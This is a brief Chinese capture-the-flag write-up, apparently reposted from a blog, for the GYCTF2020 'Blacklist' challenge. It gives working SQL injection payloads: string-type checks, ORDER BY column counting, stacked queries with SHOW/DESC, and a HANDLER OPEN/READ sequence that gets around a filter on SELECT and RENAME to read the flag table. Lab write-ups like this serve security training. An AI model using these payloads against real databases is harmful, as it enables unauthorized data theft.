[GYCTF2020]Blacklist-思路
-
這道題之前我們寫過,鏈接看這里:
https://www.cnblogs.com/tzf1/p/14968802.html
-
試題地址:
https://buuoj.cn/challenges#[GYCTF2020]Blacklist
-
首先我們還是用常規SQL注入判斷這是字符型
1' and '1'='1 1' and '1'='2 -
然后利用order by陳述句判斷出欄位數為2
1' order by 2# -
然后當我們用union查詢的時候,發現select以及許多關鍵字被過濾了
1' union select 1,2#

但是我們發現它沒有過濾 show 這個關鍵字,所以我們可以嘗試堆疊注入,但是這里過濾了rename,所以我們那個修改表名的方法就用不了,
1';show databases;# //獲取資料庫
1';show tables;# //獲取表名
1';desc words;# 獲取表的內容
這里通過百度了解到一個新的方法:
參考檔案:https://dev.mysql.com/doc/refman/8.0/en/handler.html
HANDLER [表名] OPEN;陳述句打開一個表,使其可以使用后續HANDLER [表名] READ;該表物件未被其他會話共享,并且在會話呼叫HANDLER [表名] CLOSE;或會話終止之前不會關閉
1’;HANDLER FlagHere OPEN;HANDLER FlagHere READ FIRST;HANDLER FlagHere close;#
//這是一個陳述句
執行這個,然后,就可以出來flag了

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/289003.html
標籤:其他
上一篇:[網鼎杯 2020 青龍組]AreUSerialz-PHP反序列化
下一篇:《統計學習方法》第6章習題
